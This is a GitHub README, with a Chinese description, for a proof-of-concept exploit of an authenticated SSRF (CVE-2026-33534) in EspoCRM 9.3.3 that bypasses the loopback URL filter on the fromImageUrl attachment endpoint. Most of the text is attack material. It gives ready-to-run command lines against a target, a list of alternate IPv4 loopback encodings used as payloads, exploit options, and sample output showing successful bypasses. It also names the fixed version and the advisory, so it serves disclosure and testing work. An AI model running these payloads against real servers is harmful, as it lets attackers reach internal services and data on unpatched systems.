EntroVyx/CVE-2026-33534
GitHub: EntroVyx/CVE-2026-33534
针对EspoCRM 9.3.3已认证SSRF漏洞的概念验证工具,通过替代IPv4环回表示法绕过URL过滤限制。
Stars: 0 | Forks: 0
# CVE-2026-33534 - EspoCRM 9.3.3 认证后 SSRF
EspoCRM 9.3.3 认证后 SSRF 概念验证,通过 `/api/v1/Attachment/fromImageUrl` 端点中的替代 IPv4 环回表示法实现。
## 概述
EspoCRM 9.3.3 会拦截 `http://127.0.0.1/...` 等直接的环回 URL,但其服务端获取路径接受替代的 IPv4 表示法,这些表示法会被 cURL 规范化为环回地址。这允许具有受影响的附件/图片上传流程访问权限的认证用户,让 EspoCRM 服务器获取内部资源。
该漏洞利用程序首先提交一个直接的 `127.0.0.1` 控制请求,并预期其被 HTTP `403` 拦截。然后测试多个编码后的环回 payload,并报告哪些 payload 成功生成了已保存的附件。
## 受影响版本
- 漏洞版本:EspoCRM 9.3.3
- 修复版本:EspoCRM 9.3.4
- 安全公告:https://github.com/espocrm/espocrm/security/advisories/GHSA-h7gx-8gwv-7g73
- CVE:CVE-2026-33534
- CWE:CWE-918
## 环境要求
- Python 3
- `requests`
- 有效的 EspoCRM 凭据
- 使用目标图片/附件字段的权限
安装依赖:
```
python3 -m pip install requests
```
## 使用说明
针对运行在端口 `8083` 上的 EspoCRM 实例进行基本本地验证:
```
python3 CVE-2026-33534.py \
-u http://127.0.0.1:8083 \
-U admin \
-P 'Admin12345!' \
--internal-port 8083 \
--cleanup
```
测试自定义端口和路径上的内部服务:
```
python3 CVE-2026-33534.py \
-u https://target.example \
-U user \
-P 'password' \
--internal-port 9002 \
--internal-path /interno.png \
--cleanup
```
仅使用自定义 payload:
```
python3 CVE-2026-33534.py \
-u https://target.example \
-U user \
-P 'password' \
--no-default-payloads \
--payload 0x7f000001 \
--payload 2130706433
```
## 默认 Payload
该漏洞利用程序默认测试以下环回主机表示法:
```
0177.0.0.1
0177.0000.0000.0001
0177.1
0x7f.0.0.1
0x7f.0x0.0x0.0x1
0x7f000001
2130706433
017700000001
127.1
127.0.1
127.000.000.001
0000000000000000000000000177.0.0.1
```
支持自定义 payload 文件。每行可以是以下格式之一:
```
host
label=host
```
示例:
```
hex-dword=0x7f000001
decimal-dword=2130706433
```
运行命令:
```
python3 CVE-2026-33534.py -u https://target.example -U user -P pass --payload-file payloads.txt
```
## 选项
```
-u, --url Base EspoCRM URL
-U, --username EspoCRM username
-P, --password EspoCRM password
--internal-port Internal loopback port to fetch
--internal-path Internal path to fetch
--payload Additional loopback host notation
--payload-file File with one host payload per line
--no-default-payloads Use only custom payloads
--field Attachment field, default: avatar
--parent-type Parent entity type, default: User
--parent-id Optional parent entity id
--cleanup Delete attachments created by successful payloads
--stop-on-first Stop after the first successful bypass
--insecure Disable TLS certificate verification
```
## 预期输出
成功利用会显示直接的环回控制请求被拦截,且一个或多个编码的 payload 被接受:
```
[*] Control response: HTTP 403 Not allowed URL.
[+] octal dotted 0177.0.0.1 HTTP 200 id=... type=image/svg+xml size=4438
[+] hex dword 0x7f000001 HTTP 200 id=... type=image/svg+xml size=4438
[+] Vulnerable behavior confirmed.
[+] Direct loopback control: HTTP 403
[+] Successful payloads: 12
```
## 注意事项
- 默认的 PoC 从目标自身的环回监听器获取 `/client/img/logo-light.svg`。如果是针对其他内部服务,请调整 `--internal-port` 和 `--internal-path`。
- 默认字段为 `User.avatar`;如果测试的账户需要不同的上传上下文,请使用 `--field`、`--parent-type` 和 `--parent-id`。
- 在测试期间使用 `--cleanup` 可自动删除已创建的附件。
标签:Authenticated SSRF, CISA项目, cURL绕过, CVE, CVE-2026-33534, CWE-918, EspoCRM, GitHub Advisory, IPv4回环地址绕过, IP地址混淆, OpenVAS, PHP, PoC, Proof-of-Concept, Python, SSRF, Web安全, 数字签名, 无后门, 暴力破解, 替代IPv4表示法, 服务器端请求伪造, 网络安全, 蓝队分析, 认证后SSRF, 访问控制绕过, 逻辑漏洞, 隐私保护